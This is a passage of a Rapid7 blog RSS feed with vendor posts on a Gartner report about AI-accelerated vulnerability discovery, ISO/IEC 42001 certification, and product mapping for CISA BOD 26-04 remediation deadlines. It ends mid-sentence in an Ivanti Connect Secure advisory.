      <title><![CDATA[Metasploit Wrapup: Unauth RCE modules in Network Perimeter Devices and much more]]></title>
      <description><![CDATA[]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrapup-unauth-rce-modules-in-network-perimeter-devices-and-much-more</link>
      <guid isPermaLink="false">blt58cac62dd4af8a4c</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Jack Heysel]]></dc:creator>
      <pubDate>Fri, 06 Nov 2026 13:52:11 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0475760a2990dfd7/6849ab41a770d7563190a3ea/metasploit-fence.png" medium="image" />
    </item>
    <item>
      <title><![CDATA[Gartner Report: The Attack Path is Closing Faster than Most Teams Can Patch]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>Security teams have never lacked vulnerability data. The harder problem is deciding which issues create a credible path to business impact, then acting before that path can be used. As frontier AI makes it faster and less expensive to connect weaknesses, operational assumptions, and legitimate system behavior, that decision window is becoming even tighter.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The Gartner® report, </span><a href="/resources/garther-mythos-reprioritizes-cybersecurity-outcomes-and-investments/" target="_self"><span style='font-size: undefined;'><em>Mythos Reprioritizes Cybersecurity Outcomes and Investments</em></span></a><span style='font-size: undefined;'>, examines what this shift means for cybersecurity priorities and investment. Rapid7 is offering complimentary access to the research, which we believe can help security leaders reassess how they prioritize exposure and infrastructure teams reassess how they plan response and recovery.</span></p><h2><span style='font-size: undefined;'>Why does AI change the vulnerability management equation?</span></h2><p style="direction: ltr;"><span style='font-size: undefined;'>Gartner states, “Mythos collapses the distance between theoretical weaknesses and executable attack scenarios, forcing cybersecurity to optimize for outcomes, not activity.” For leaders already managing more vulnerabilities than their teams can address, the pressure comes from the growing speed at which separate weaknesses can become a credible attack path.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The change also extends beyond one model. Gartner states, “By 2027, Mythos will be overtaken by new frontier-AI-enabled models, signaling that this moment is not about Mythos, but a new era of AI-assisted vulnerabilities and functional exploits.”</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>At Rapid7, we believe this requires a more attacker-aware view of exposure. A large backlog can contain thousands of issues with very different implications for the organization. Leaders need to understand which exposures are reachable, how they could be combined, which business services they affect, and what action would reduce risk most effectively.</span></p><h2 style="direction: ltr;">What should security leaders measure instead?</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Vulnerability counts, backlog size, and generic remediation targets show how much work a team has completed. They provide less clarity on whether an attacker’s options have narrowed or whether the organization can respond and recover more effectively.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Gartner advises, “Organizations must shift focus from volume and activity to speed of decision, effectiveness of response, and tangible reduction of enterprise risk in an environment where attacker reasoning scales rapidly.”</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The report examines outcome-driven measures including “Attack path analysis coverage,” “Patching cadence,” “Compensating control deployment cadence,” “Mean time to remediate,” and “Technology debt.” We believe this gives leaders a stronger basis for connecting security investment with reduced exposure, faster action, and business resilience.</span></p><h2 style="direction: ltr;">How can teams move from prioritization to action?</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Better prioritization only creates value when teams can act on it. Gartner recommends, “Use attack path analysis to prioritize your patches, virtual patches, and compensating controls. This can scale down to a consideration of critical services mapped into critical business outcomes and exposure.”</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7’s internal, practitioner-led exploration of Claude Mythos Preview through Project Glasswing reinforces our view that faster discovery is only the beginning. A model may help identify and validate a potential vulnerability, but reducing exposure still requires teams to understand affected systems, apply business context, choose the right remediation or compensating control, verify the result, and maintain detection coverage.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7’s vulnerability management capabilities support this operational path by bringing attack-surface visibility, threat intelligence, business context, and attack-path analysis together, helping teams identify which exposures matter most and coordinate remediation through existing workflows.</span></p><h2 style="direction: ltr;">What does an outcome-led program look like?</h2><p style="direction: ltr;"><span style='font-size: undefined;'>An outcome-led program gives executives a clearer answer to a more useful question: which attacker opportunities did we reduce, and how quickly could we respond? It also supports ongoing decisions about technical debt, recovery planning, and where limited resources can deliver the greatest reduction in business risk.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Access the complimentary Gartner report, </span><a href="/resources/garther-mythos-reprioritizes-cybersecurity-outcomes-and-investments/" target="_self"><span style='font-size: undefined;'><em>Mythos Reprioritizes Cybersecurity Outcomes and Investments</em></span></a><span style='font-size: undefined;'>, to explore how AI-assisted vulnerability discovery may change cybersecurity priorities, metrics, and investment decisions.</span></p><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Gartner, </span><span style='font-size: undefined;'><em>Mythos Reprioritizes Cybersecurity Outcomes and Investments</em></span><span style='font-size: undefined;'>, Paul Proctor, John Watts, Emily Tan, 28 May 2026.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>GARTNER is a trademark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><em>Gartner does not endorse any vendor, product, or service depicted in its research publications and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.</em></span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/ai-gartner-report-attack-paths-closing-faster-than-patchable</link>
      <guid isPermaLink="false">blt0698dba89fbc6b45</guid>
      <category><![CDATA[Vulnerability Management]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Thu, 05 Nov 2026 14:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta6fa64f3622e310b/68f0f55b17cde42043f4f43c/Card-SIEM-Gartner-Report_(2).jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Rapid7 Achieves ISO/IEC 42001 Certification for its AI Management System]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>Exciting news for AI governance! Rapid7 has achieved ISO/IEC 42001:2023 certification for our Artificial Intelligence Management System (AIMS). The certificate was issued by Schellman Compliance, LLC, an ANAB accredited certification body, following an independent audit of how we govern the AI systems we develop in our role as an AI provider.</span></p><h2>What is ISO/IEC 42001?</h2><p style="direction: ltr;"><span style='font-size: undefined;'>ISO/IEC 42001 is the first international management system standard for artificial intelligence. Where ISO/IEC 27001 focuses on information security, ISO/IEC 42001 focuses on how an organization governs AI. What exactly does “governing AI” mean?  Essentially, it means how AI risks and impacts are assessed, how data is managed, how systems are monitored once they’re in production, and how humans stay in the loop across the AI lifecycle.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This certification means an accredited third party has audited our AIMS and confirmed that it aligns to the standard. To note, this isn’t a one-time exercise, as the certification is maintained through annual surveillance audits. This means our AI governance program is held to the standard for as long as the certificate is active.</span></p><h2>Why is ISO/IEC 42001 certification important?</h2><p style="direction: ltr;"><span style='font-size: undefined;'>AI is continually evolving how security teams work, and it’s also causing teams to reconsider the questions they ask their vendors. Where does the model come from? What data does it use? Who reviews its outputs? How do we maintain the integrity and quality of our AI products?</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>ISO/IEC 42001 certification gives customers independent evidence that Rapid7 has a management system in place to address those questions. It demonstrates that the in-scope AI systems are developed and operated under a structured program covering risk assessment, transparency, human oversight, and accountability.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>It also supports customers in their own governance work. Many organizations are building AI risk into their third party risk programs and preparing for frameworks and regulations such as the NIST AI Risk Management Framework and the EU AI Act. A vendor's certified AIMS doesn't replace a customer's own due diligence, but it provides a credible, audited starting point.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>As with cloud security, AI follows a</span><a href="/fundamentals/shared-responsibility-model/" target="_self"><span style='font-size: undefined;'> shared responsibility model</span></a><span style='font-size: undefined;'>. Rapid7 is certified in the role of an AI provider, meaning we’re accountable for how we design, build, and operate these AI systems. Customers remain in control of how they use AI outputs within their own security operations.</span></p><h2>Which AI systems are in scope?</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The certification covers the AIMS supporting the following AI systems developed within Rapid7 products:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Agentic AI Workflow for MDR (Managed Detection and Response)</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>AI Dashboard Summary Card (Managed Detection and Response)</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>AI-Generated Risk Summaries (Exposure Command and Surface Command)</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>AI-Powered Log Search (Incident Command / InsightIDR)</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>AI-Powered Log Summary (Incident Command / InsightIDR)</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Attack Surface Management (Surface Command)</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>ICS Runtime Event Story (InsightCloudSec / Cloud Runtime)</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Most of these are capabilities customers use directly within the product. Agentic AI Workflow for MDR supports Rapid7's own SOC analysts as they investigate and respond on behalf of MDR customers.</span></p><h2>What's next?</h2><p style="direction: ltr;"><span style='font-size: undefined;'>ISO/IEC 42001 certification joins Rapid7's existing security and compliance program, which includes ISO/IEC 27001, SOC 2, FedRAMP, IRAP, ENS, BSI C5, as well as U.S. and international cybersecurity regulations. Each is independently assessed against its own defined scope, with details available in the Rapid7 Trust Center (reach out to your Account Executive for access).</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>As our AI capabilities grow, our AI governance program will grow with them. As such, we'll update this post if the scope of certification changes.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Customers can request a copy of the certificate through their Account Executive or Rapid7 representative. The certificate can also be independently verified in</span><a href="https://www.schellman.com/certificate-directory" target="_blank"><span style='font-size: undefined;'> Schellman's public certificate directory</span></a><span style='font-size: undefined;'>.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/ai-iso-iec-42001-certification-achieved</link>
      <guid isPermaLink="false">blt6799fb1571248015</guid>
      <category><![CDATA[Compliance]]></category>
      <category><![CDATA[Managed Detection and Response (MDR)]]></category>
      <category><![CDATA[Exposure Command]]></category>
      <category><![CDATA[Cloud Security]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Wed, 04 Nov 2026 16:25:55 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0b0762ca94c50b0b/6846a711eac0e395093e52e3/AI.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[The Race Against the 3-Day Clock: How Rapid7 Helps Meet BOD 26-04 Compliance]]></title>
      <description><![CDATA[<h2>Introduction to BOD 26-04</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On June 10, 2026, CISA issued Binding Operational Directive 26-04, "Prioritizing Security Updates Based on Risk." Strip away the regulatory language and it reads like a single operational fact: for a vulnerability that is actively exploited, publicly reachable, and grants an attacker full control, you now have three calendar days to remediate it — and you must run a forensic investigation in parallel to determine whether you've already been breached.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The 2026 Verizon Data Breach Investigations Report puts the industry's median full-remediation time at 43 days, adding that only 26% of Known Exploited Vulnerabilities were fully remediated in 2025, down from 38% the year before. That's a 43-day reality vs. a 3-day mandate; a gap you don't exactly just close by hiring more workers.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This blog aims to break down what BOD 26-04 actually requires, mapping each point to the Rapid7 capability that helps to make compliance operationally achievable for all.</span></p><h2 style="direction: ltr;">What did CISA actually change?</h2><p style="direction: ltr;"><span style='font-size: undefined;'>BOD 26-04 supersedes and revokes two prior directives: BOD 19-02 (2019), which prioritized internet-facing vulnerabilities by static CVSS score, and BOD 22-01 (2021), which created the Known Exploited Vulnerabilities (KEV) Catalog but applied a 14-day patch deadline to every entry regardless of context.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Note that flat timeline: under BOD 22-01, an actively exploited bug on an air-gapped internal server carried the same 14-day urgency as one on a public-facing web server granting full admin control. Teams burned cycles patching low-risk systems to satisfy a checklist. BOD 26-04 replaces that with a dynamic model: prioritize what attackers are actually exploiting, and formally defer what they aren't.</span></p><h3>The four variables to BOD 26-04</h3><p style="direction: ltr;"><span style='font-size: undefined;'>BOD 26-04 abandons CVSS as the sole trigger and evaluates every vulnerability against four binary variables, derived from the SSVC decision framework (CMU CERT/CC and CISA):</span></p><ol><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Asset Exposure: Is the asset reachable by untrusted entities over a public network?</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>KEV Status: Is the CVE on CISA's Known Exploited Vulnerabilities Catalog?</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Exploit Automation: Can an attacker automate the full exploit chain, enabling mass exploitation?</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Technical Impact: Does successful exploitation grant </span><span style='font-size: undefined;'><em>Total</em></span><span style='font-size: undefined;'> control (arbitrary code execution, full/admin privileges) or only </span><span style='font-size: undefined;'><em>Partial</em></span><span style='font-size: undefined;'> control (limited access, information exposure, denial of service)?</span></p></li></ol><p style="direction: ltr;"><span style='font-size: undefined;'>Asset exposure is the highest-leverage variable. If you remove an asset from public reach, you flip the exposure variable from </span><span style='font-size: undefined;'><em>Yes</em></span><span style='font-size: undefined;'> to </span><span style='font-size: undefined;'><em>No</em></span><span style='font-size: undefined;'>, and the required timeline relaxes accordingly. Rapid7 Labs data underscores why exposure dominates: half of the vulnerabilities actively exploited in the wild in Q1 2026 were zero-click, network-facing issues requiring no authentication, and by Q2 2026 nearly two-thirds required no user interaction at all. Attackers are going straight at exposed, unauthenticated surfaces.</span></p><h3>CISA's new remediation tiers</h3><p style="direction: ltr;"><span style='font-size: undefined;'>The four variables combine into a graduated timeline (CISA BOD 26-04, Appendix A, Table 1). The tiers, simplified:</span></p><p><span style='font-size: undefined;'></span></p><table><colgroup data-width='1428'><col style="width:17.507002801120446%"/><col style="width:31.30252100840336%"/><col style="width:51.19047619047619%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Tier</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Timeline</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Core criteria</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>1 (Critical)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>3 days + forensic triage</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>On KEV and Total control</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2 (High)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>3 days (no triage)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Publicly exposed + Automatable + Total control, not yet on KEV</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>3 (Accelerated)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>14 days</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>KEV-listed without Total control; or exposed + Partial control</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>4 (Standard)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>60 days</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Internal, automatable, Partial control</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>5 (Deferred)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Fix on next system upgrade</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Internal + not KEV + not automatable + Partial control</span></p></td></tr></tbody></table><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>Note that these timelines are dynamic. If a dormant vulnerability is added to the KEV, its clock can compress from 60 days to 3 overnight. Conversely, if you isolate an exposed asset, its clock relaxes. CISA explicitly counts isolation, mitigation, and uninstalling the vulnerable software as valid remediation; as such, a compensating control is a legitimate, compliant way to buy time for a safe patch.</span></p><h3>The forensic triage mandate</h3><p style="direction: ltr;"><span style='font-size: undefined;'>This is the first of the requirements to have no precedent in earlier directives. For Tier 1 vulnerabilities (KEV + Total control), you must not only patch within three days, but run a concurrent forensic investigation to determine whether the asset is already compromised. Why? When an attacker exploits an exposed edge device, they establish persistence within hours; thus, patching three days later closes the door with the intruder already inside.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>CISA's implementation guidance lays out a six-step, 72-hour protocol: </span></p><p><span style='font-size: undefined;'></span></p><table><colgroup data-width='1323'><col style="width:22.52456538170824%"/><col style="width:15.268329554043838%"/><col style="width:62.207105064247926%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Phase</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Window</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>What happens</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>1. Scoping</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>0–2 hrs</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Identify in-scope devices; activate response team; open out-of-band comms</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>2. Preserve evidence</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>2–24 hrs</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Capture volatile data (RAM, cache, registries) before any change</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>3. Patch & stabilize</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>2–24 hrs</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Apply patches </span><span style='font-size: undefined;'><em>only after</em></span><span style='font-size: undefined;'> evidence is collected</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>4. Contain</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>6–24 hrs</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Isolate infrastructure without tipping off the attacker</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>5. Triage analysis</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>24–48 hrs</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Hunt IOCs; look for lateral movement and data staging</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>6. Escalation decision</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>48–72 hrs</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Formal report; if compromised, report to CISA and pivot to full IR</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Note the built-in tension between Step 2 and Step 3: patching reboots systems and overwrites the exact volatile memory that proves or disproves a compromise. You have to capture forensic evidence </span><span style='font-size: undefined;'><em>before</em></span><span style='font-size: undefined;'> you patch — at speed, across every affected endpoint. Doing that manually inside 72 hours is not always realistic.</span></p><h2 style="direction: ltr;">Who CISA's BOD 26-04 applies to</h2><p style="direction: ltr;"><span style='font-size: undefined;'>BOD 26-04 is compulsory for all Federal Civilian Executive Branch agencies. It excludes national security systems and DoD/Intelligence Community systems.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>It reaches the private sector indirectly, but firmly. Agencies must review contracts and push compliance onto supply-chain partners. For FedRAMP and cloud offerings, agencies stay responsible for their hosted systems' compliance, which forces CSPs handling federal data to adopt the same 3-day triage standard. If you're a contractor or CSP touching federal data, treat this as your standard too.</span></p><h2 style="direction: ltr;">Mapping Rapid7 to the directive</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Meeting a 3-day clock with mandatory forensics is impossible through manual process. Here's how the Rapid7 Command Platform maps to each requirement.</span></p><h3><span style='color:rgb(67, 67, 67);'>Variable 1 (Exposure) → Surface Command</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>You can't calculate a timeline if you don't know what's exposed. Surface Command combines Cyber Asset Attack Surface Management (CAASM) with External Attack Surface Management (EASM), correlating continuous external scanning against an internal asset inventory ingested from your existing tools. The result is a single view of your true external attack surface — including the shadow IT attackers can see but your team can't. When it flags an exposed asset carrying a KEV-listed CVE, you can sever exposure to flip Variable 1 and de-escalate the timeline while you test the patch.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Variables 2 & 3 (KEV + Automation) → InsightVM and Active Risk</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>InsightVM tracks the KEV Catalog natively in its Threat Feed Dashboard, continuously updating which assets carry actively targeted vulnerabilities. Its Active Risk score — a 0–1,000 scale — moves beyond static CVSS by ingesting exploit intelligence from Metasploit, ExploitDB, the CISA KEV list, and Rapid7 Labs research. That mirrors the directive's own logic: a CVSS 7.5 bug with a weaponized Metasploit module will outrank a CVSS 9.8 bug with no known exploit — exactly the prioritization BOD 26-04 demands.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>The NVD scoring gap → Exposure Command AI CVSS</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The National Vulnerability Database can't keep pace with disclosure volume, leaving many CVEs unscored — a blind spot when a zero-day drops and you need a timeline immediately. Exposure Command fills it with an AI model trained on historical NVD data. On its own the model returns the correct severity classification 76% of the time; combined with Active Risk, that rises to 87%, with any miss never more than one classification off. Exposure Command also enriches every asset with business criticality and threat telemetry, and its Remediation Hub surfaces the fixes that cut the most risk.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>The forensic mandate → Velociraptor</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Velociraptor — the open-source DFIR project Rapid7 acquired in April 2021 — is built for exactly the scale and speed the triage mandate requires. It maps directly to the protocol: agents capture volatile memory and running-process data across thousands of endpoints simultaneously (Step 2), and analysts use Velociraptor Query Language to hunt CISA-provided IOCs enterprise-wide in real time, returning only relevant artifacts instead of pulling full disk images over the network (Step 5). That lets you satisfy the evidentiary requirement without delaying the Step 3 patch.</span></p><h2 style="direction: ltr;">From severity to dollars</h2><p style="direction: ltr;"><span style='font-size: undefined;'>BOD 26-04 shares a core idea with modern risk management: technical severity isn't business impact. A high CVSS score doesn't answer the board's question of "how likely is this to cost us?"</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The FAIR framework closes that gap by expressing risk as expected annual loss: </span><span style='font-size: undefined;'><strong>Annualized Loss Expectancy = Loss Event Frequency × Loss Magnitude</strong></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>BOD 26-04 is effectively a mechanism for pinning down </span><span style='font-size: undefined;'><em>Loss Event Frequency</em></span><span style='font-size: undefined;'>: by isolating vulnerabilities that are exploited (KEV), reachable (exposure), and scalable (automation), it identifies the ones statistically most likely to become a loss event. Feed Active Risk into the frequency side and FAIR into the cost side, and you can brief leadership in the language of capital, not CVE IDs.</span></p><h2 style="direction: ltr;">Rapid7 case studies in the wild</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Recent discoveries from </span><a href="/research" target="_self"><span style='font-size: undefined;'>Rapid7 Intelligence</span></a><span style='font-size: undefined;'> show the top tier in action:</span></p><table><colgroup data-width='1679'><col style="width:14.889815366289458%"/><col style="width:23.88326384752829%"/><col style="width:27.933293627159024%"/><col style="width:33.293627159023224%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Vulnerability</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Impact</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Why it's Tier 1</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Rapid7 action</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Microsoft SharePoint</strong></span><span style='font-size: undefined;'> (CVE-2026-55040 + CVE-2026-63520)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Chained, the two flaws yield unauthenticated RCE via JWT bypass, running commands as the SharePoint service account</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Internet-facing + total control (via the chain) + added to KEV after in-the-wild exploitation</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Authenticated checks shipped to InsightVM/Exposure Command customers; Active Risk escalated to trigger triage</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Palo Alto PAN-OS</strong></span><span style='font-size: undefined;'> (CVE-2026-0300)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Unauthenticated buffer overflow in the User-ID Auth Portal; arbitrary code execution as root (CVSSv4 9.3)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Firewalls are exposed by definition; total impact; added to KEV May 6, 2026</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Threat Feed integrated KEV status instantly; Velociraptor captured volatile RAM ahead of the patch</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>N-able N-central</strong></span><span style='font-size: undefined;'> (CVE-2026-18577 + CVE-2026-18556)</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Authentication bypass enabling full takeover of remote-management endpoints</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>High-value management assets; total control; added to KEV August 2026</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Checks shipped via content release; Velociraptor hunted endpoint artifacts to satisfy triage</span></p></td></tr></tbody></table><h2 style="direction: ltr;">What's next for federal agencies and contractors?</h2><p style="direction: ltr;"><span style='font-size: undefined;'>If you're an FCEB agency or a contractor or CSP handling federal data, the following three moves matter most:</span></p><ol><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Get exposure right. Everything downstream depends on knowing what's publicly reachable. Establish continuous external-plus-internal asset visibility now.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Wire KEV into prioritization, not a spreadsheet. The clock starts the moment CISA updates the catalog. Ingestion has to be automated and continuous.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Pre-stage forensics. Decide today how you'll capture volatile evidence across endpoints inside 72 hours. If that's a manual runbook, it will fail under a real Tier 1 event.</span></p></li></ol><h2 style="direction: ltr;">CISA BOD 26-04's bottom line </h2><p style="direction: ltr;"><span style='font-size: undefined;'>BOD 26-04 retires "patch everything" in favor of operational precision: remediate the actively exploited, exposed, high-impact vulnerabilities in 72 hours, prove whether you've already been breached, and defer the rest. Meeting it takes continuous asset discovery, live threat intelligence, context-aware prioritization, and forensics at scale — which is precisely the shape of the </span><a href="/platform" target="_self"><span style='font-size: undefined;'>Rapid7 Platform</span></a><span style='font-size: undefined;'>. For federal agencies it's a mandate; for everyone else, it's the clearest blueprint yet for risk-based vulnerability management.</span></p><hr><p style="direction: ltr;"><span style='font-size: undefined;'><em>Sources: CISA BOD 26-04 and its implementation guidance; 2026 Verizon DBIR; Rapid7 2026 Global Threat Landscape Report and Q1/Q2 2026 threat data; Rapid7 product documentation for InsightVM, Active Risk, Surface Command, Exposure Command, and Velociraptor.</em></span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/it-racing-the-three-day-clock-cisa-bod-26-04</link>
      <guid isPermaLink="false">blt9344336765f354b9</guid>
      <category><![CDATA[Compliance]]></category>
      <category><![CDATA[Government]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Wed, 04 Nov 2026 14:01:55 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltebc2810157aecfaf/68af2715c53b04810df94abb/blog-hero-generic-pixel.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Additional Ivanti Connect Secure zero-days exploited in the wild (CVE-2026-111357, CVE-2026-118527)]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On October 29, 2026, Ivanti </span><a href="https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935?language=en_US"><span style='font-size: undefined;'>updated its security advisory</span></a><span style='font-size: undefined;'> for Ivanti Connect Secure (ICS) to include two additional vulnerabilities and released fixes for both. Ivanti rates </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-111357/"><span style='font-size: undefined;'>CVE-2026-111357</span></a><span style='font-size: undefined;'>, a missing authentication for critical function vulnerability (</span><a href="https://cwe.mitre.org/data/definitions/306.html"><span style='font-size: undefined;'>CWE-306</span></a><span style='font-size: undefined;'>), with a CVSSv3.1 score of </span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"><span style='font-size: undefined;'>8.8</span></a><span style='font-size: undefined;'>; it allows a local authenticated attacker to escalate privileges. </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-118527"><span style='font-size: undefined;'>CVE-2026-118527</span></a><span style='font-size: undefined;'>, classified as generation of predictable numbers or identifiers (</span><a href="https://cwe.mitre.org/data/definitions/340.html"><span style='font-size: undefined;'>CWE-340</span></a><span style='font-size: undefined;'>), has an Ivanti-assigned 